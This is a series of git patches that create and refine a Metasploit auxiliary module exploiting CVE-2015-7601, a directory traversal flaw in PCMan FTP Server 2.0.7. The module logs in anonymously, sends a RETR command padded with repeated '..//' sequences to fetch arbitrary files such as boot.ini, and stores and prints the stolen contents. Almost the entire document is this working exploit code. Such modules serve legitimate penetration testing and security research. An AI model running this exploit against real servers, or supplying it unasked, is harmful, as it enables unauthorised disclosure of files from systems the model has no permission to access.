From bb9e8203721537bd3f301dd5cdaba2096fecb9c1 Mon Sep 17 00:00:00 2001 From: JT Date: Sun, 8 Nov 2015 13:08:23 +0800 Subject: [PATCH 1/6] Create pcman_ftp_traversal.rb Adding CVE-2015-7601 --- .../scanner/ftp/pcman_ftp_traversal.rb | 90 +++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb new file mode 100644 index 0000000000..22fb9f8db9 --- /dev/null +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Ftp + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PCMan FTP Server Directory Traversal Information Disclosure', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7. + This vulnerability allows an attacker to download arbitrary files from the server by crafting + a RETR command that includes file system traversal strings such as '..//' + }, + 'Platform' => 'win', + 'Author' => + [ + 'Jay Turla <@shipcod3>', # msf + 'James Fitts', # initial discovery + 'Brad Wolfe' # brad.wolfe[at]gmail.com + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '38340'], + [ 'CVE', '2015-7601'] + ], + 'DisclosureDate' => 'Sep 28 2015')) + + register_options( + [ + OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) + ], self.class) + end + + def check + connect + disconnect + if (banner =~ /220 PCMan's FTP Server 2\.0/) + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def run_host(target_host) + begin + # Login anonymously and open the socket that we'll use for data retrieval. + connect_login + sock = data_connect + file_path = datastore['PATH'] + file = ::File.basename(file_path) + + # make RETR request and store server response message... + retr_cmd = ( "..//" * 32 ) + "#{file_path}" + res = send_cmd( ["RETR", retr_cmd]) + + # read the file data from the socker that we opened + response_data = sock.read(1024) + + if response_data.length == 0 or ! (res =~ /^150/ ) + print_status("File (#{file_path})from #{rhost} : #{rport} is empty...") + return + end + + # store file data to loot + loot_file = store_loot("pcman.ftp.data", "text",rhost,response_data, file, file_path) + print_status("Stored #{file_path} to #{loot_file}") + + # Read and print the data from the loot file. + info_disclosure = IO.read(loot_file) + print_status("Printing contents of #{file_path}") + print_good("Result:\n #{info_disclosure}") + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + + ensure + data_disconnect + disconnect + end + end +end From bf362be0a44cabcee3935ccdfdca8df84da43fb9 Mon Sep 17 00:00:00 2001 From: JT Date: Sun, 8 Nov 2015 13:17:57 +0800 Subject: [PATCH 2/6] Update pcman_ftp_traversal.rb --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 22fb9f8db9..e0e78f3a0b 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -62,11 +62,11 @@ class Metasploit3 < Msf::Auxiliary retr_cmd = ( "..//" * 32 ) + "#{file_path}" res = send_cmd( ["RETR", retr_cmd]) - # read the file data from the socker that we opened + # read the file data from the socket that we opened response_data = sock.read(1024) if response_data.length == 0 or ! (res =~ /^150/ ) - print_status("File (#{file_path})from #{rhost} : #{rport} is empty...") + print_status("File (#{file_path})from #{peer} is empty...") return end From bb78025dde5f1254f6d66bf7047ba530662b4f6c Mon Sep 17 00:00:00 2001 From: JT Date: Sun, 8 Nov 2015 13:27:45 +0800 Subject: [PATCH 3/6] Update pcman_ftp_traversal.rb --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index e0e78f3a0b..8596d5b372 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'Platform' => 'win', 'Author' => [ - 'Jay Turla <@shipcod3>', # msf + 'Jay Turla <@shipcod3>', # msf and initial discovery 'James Fitts', # initial discovery 'Brad Wolfe' # brad.wolfe[at]gmail.com ], From e019aa12a0f68dbbdce7637be8eec632c7a31082 Mon Sep 17 00:00:00 2001 From: JT Date: Sun, 8 Nov 2015 13:40:23 +0800 Subject: [PATCH 4/6] Update pcman_ftp_traversal.rb --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 8596d5b372..f6faffaf9d 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary end # store file data to loot - loot_file = store_loot("pcman.ftp.data", "text",rhost,response_data, file, file_path) + loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path) print_status("Stored #{file_path} to #{loot_file}") # Read and print the data from the loot file. From 4716e2e16bc0566174d72a2fb849d0857e008895 Mon Sep 17 00:00:00 2001 From: JT Date: Wed, 11 Nov 2015 14:00:04 +0800 Subject: [PATCH 5/6] Update pcman_ftp_traversal.rb made some changes --- modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index f6faffaf9d..1e9d99cd33 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary connect disconnect if (banner =~ /220 PCMan's FTP Server 2\.0/) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Stored #{file_path} to #{loot_file}") # Read and print the data from the loot file. - info_disclosure = IO.read(loot_file) + info_disclosure = print_line(loot_file) print_status("Printing contents of #{file_path}") print_good("Result:\n #{info_disclosure}") From e6e5bde492793544e279b8635c566be2a14c9b63 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 11 Nov 2015 11:06:54 -0600 Subject: [PATCH 6/6] Do module cleanup for auxiliary/scanner/ftp/pcman_ftp_traversal --- .../scanner/ftp/pcman_ftp_traversal.rb | 57 ++++++++++--------- 1 file changed, 31 insertions(+), 26 deletions(-) diff --git a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb index 1e9d99cd33..15e40e43b5 100644 --- a/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb +++ b/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb @@ -13,41 +13,46 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'PCMan FTP Server Directory Traversal Information Disclosure', - 'Description' => %q{ + 'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure', + 'Description' => %q{ This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command that includes file system traversal strings such as '..//' }, - 'Platform' => 'win', - 'Author' => + 'Platform' => 'win', + 'Author' => [ - 'Jay Turla <@shipcod3>', # msf and initial discovery + 'Jay Turla', # @shipcod3, msf and initial discovery 'James Fitts', # initial discovery - 'Brad Wolfe' # brad.wolfe[at]gmail.com + 'Brad Wolfe ' ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ [ 'EDB', '38340'], [ 'CVE', '2015-7601'] ], - 'DisclosureDate' => 'Sep 28 2015')) + 'DisclosureDate' => 'Sep 28 2015' + )) register_options( [ + OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]), OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini']) ], self.class) end - def check - connect - disconnect - if (banner =~ /220 PCMan's FTP Server 2\.0/) - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe + def check_host(ip) + begin + connect + if /220 PCMan's FTP Server 2\.0/i === banner + return Exploit::CheckCode::Appears + end + ensure + disconnect end + + Exploit::CheckCode::Safe end def run_host(target_host) @@ -59,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary file = ::File.basename(file_path) # make RETR request and store server response message... - retr_cmd = ( "..//" * 32 ) + "#{file_path}" + retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}" res = send_cmd( ["RETR", retr_cmd]) # read the file data from the socket that we opened @@ -72,16 +77,16 @@ class Metasploit3 < Msf::Auxiliary # store file data to loot loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path) - print_status("Stored #{file_path} to #{loot_file}") - - # Read and print the data from the loot file. - info_disclosure = print_line(loot_file) - print_status("Printing contents of #{file_path}") - print_good("Result:\n #{info_disclosure}") - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + vprint_status("Data returned:\n") + vprint_line(response_data) + print_good("Stored #{file_path} to #{loot_file}") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) + elog("#{e.class} #{e.message} #{e.backtrace * "\n"}") ensure data_disconnect disconnect